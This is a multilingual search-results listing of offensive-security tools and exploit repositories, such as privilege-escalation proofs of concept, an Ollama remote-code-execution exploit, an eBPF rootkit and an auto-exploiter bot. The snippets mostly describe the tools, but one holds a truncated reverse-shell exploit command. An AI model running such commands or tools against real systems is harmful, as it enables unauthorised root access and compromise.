484898 matches found
scumjrs
scumjrs PoC per Dirty COW CVE-2016-5195...
CVE-2021-22555
CVE-2021-22555 Linux Kernel 2.6.19 5.9 - 'Escalation dei privilegi locale in Netfilter'...
Mega-Bot
Mega Bot ☣ Scanner & Auto-Exploiter Was ist Mega Bot ? root@kitploit: from MegaBot import print """ Tool Scanner Tool Auto Exploiter """ Über Mega Bot root@kitploit: from MegaBot import print """ +----------------------------------+----------------------------------+ 1 X4PriV8 V1 | 22 XAttacker 2...
NimbusPWN-CVE-2022-29799-29800
🛡️ NimbusPWN-CVE-2022-29799-29800 – Testen lokaler Privilegienausweitungs-Sicherheitslücken 📖 Über dieses Werkzeug Diese Software hilft Sicherheitsforschern, zwei spezifische Schwachstellen zu untersuchen, die als CVE-2022-29799 und CVE-2022-29800 bekannt sind. Diese Fehler existieren in der...
domi-owned
Domi-Owned Summary Domi-Owned is a tool used for compromising IBM/Lotus Domino servers. Tested on IBM/Lotus Domino 8.5.2, 8.5.3, 9.0.0, and 9.0.1 running on Windows and Linux. Requirements Domi-Owned uses Python 3, which can be install through your distribution's package manager apt, yum, etc...
CVE-2024-37032_CVE-2024-45436
CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Necessita di essere eseguito su Linux, l'ambiente deve avere gcc Installa golang, esegui il seguente comando per ottenere una shell inversa root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...
CVE-2021-4034
CVE-2021-4034 Eines Tages für den Polkit-Privilege-Escalation-Exploit Führen Sie einfach make, ./cve-2021-4034 aus und genießen Sie Ihre Root-Shell. Die originale Empfehlung der eigentlichen Autoren ist hier PoC Wenn der Exploit funktioniert, erhalten Sie sofort eine Root-Shell: root@kitploit:...
TripleCross
TripleCross TripleCross è un rootkit eBPF per Linux che dimostra le capacità offensive della tecnologia eBPF. TripleCross è ispirato a precedenti progetti di implant in questo ambito, in particolare i lavori di Jeff Dileo al DEFCON 271, Pat Hogan al DEFCON 292, Guillaume Fournier e Sylvain Afchai...
webkiller
WebKiller V2 Tool Information Gathering Write With Python. PreView root@kitploit: ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║...
IPCDump
ipcdump Post di annuncio ipcdump è uno strumento per tracciare la comunicazione tra processi IPC su Linux. Copre la maggior parte dei meccanismi IPC comuni -- pipe, fifo, segnali, socket unix, networking basato su loopback e pseudoterminali. È uno strumento utile per eseguire il debug di...
Detection-and-Mitigation-for-CVE-2022-1679
Detection-and-Mitigation-for-CVE-2022-1679 ath9k è un driver del kernel Linux che supporta i chip Atheros. È stata riscontrata una falla di use-after-free nel driver dell'adattatore wireless Atheros del kernel Linux, nel modo in cui un utente forza la funzione ath9khtcwaitfortarget a fallire con...
msidump
msidump MSI Dump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner. On Macro-enabled Office documents we can quickly use oletools mraptor to determine whether document is malicious. If we want to dissect it further, we...
CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-0847-DirtyPipe-Exploits Una collezione di exploit e documentazione per penetration tester e red teamer che può essere utilizzata per agevolare lo sfruttamento della vulnerabilità Dirty Pipe di Linux. Informazioni sulla vulnerabilità Dirty Pipe CVE-2022-0847 è una vulnerabilità di...
CVE-2026-46243
🚨 CVE-2026-46243 - CIFSwitch Escalation locale dei privilegi del kernel Linux LPE Vulnerabilità di escalation locale dei privilegi che interessa il client CIFS/SMB del kernel Linux. 📖 Panoramica CVE-2026-46243 è una vulnerabilità di escalation locale dei privilegi LPE all'interno del client...
wordlistctl
Descrizione Script per scaricare, installare, aggiornare e cercare archivi di wordlist da siti web che offrono wordlist con più di 6400 wordlist disponibili. Nell'ultima versione di BlackArch Linux è stata aggiunta alla directory /usr/share/wordlists/. Installazione pacman -S wordlistctl Utilizzo...
voltron
Voltron Voltron is an extensible debugger UI toolkit written in Python. It aims to improve the user experience of various debuggers LLDB, GDB, VDB and WinDbg by enabling the attachment of utility views that can retrieve and display data from the debugger host. By running these views in other TTYs...
POC-CVE-2023-32233
Use-After-Free in Netfilter nftables nell'elaborazione di richieste batch Demo Dettagli della vulnerabilità Il codice interessato proviene dal kernel Linux ufficiale da https://kernel.org/ e fa parte del componente Netfilter nftables net/netfilter/nftablesapi.c. Netfilter nftables consente di...
copy-fail-CVE-2026-31431-detection-probe
Linux Kernel LPE Probe Suite — Copy Fail & Dirty Frag Strumenti di rilevamento sicuri per due famiglie correlate di vulnerabilità di escalation dei privilegi locali del kernel Linux — Copy Fail CVE-2026-31431 e Dirty Frag CVE-2026-43284 / CVE-2026-43500 — entrambe che interessano tutte le...
Astra
Astra REST API penetration testing is complex due to continuous changes in existing APIs and newly added APIs. Astra can be used by security engineers or developers as an integral part of their process, so they can detect and patch vulnerabilities early during development cycle. Astra can...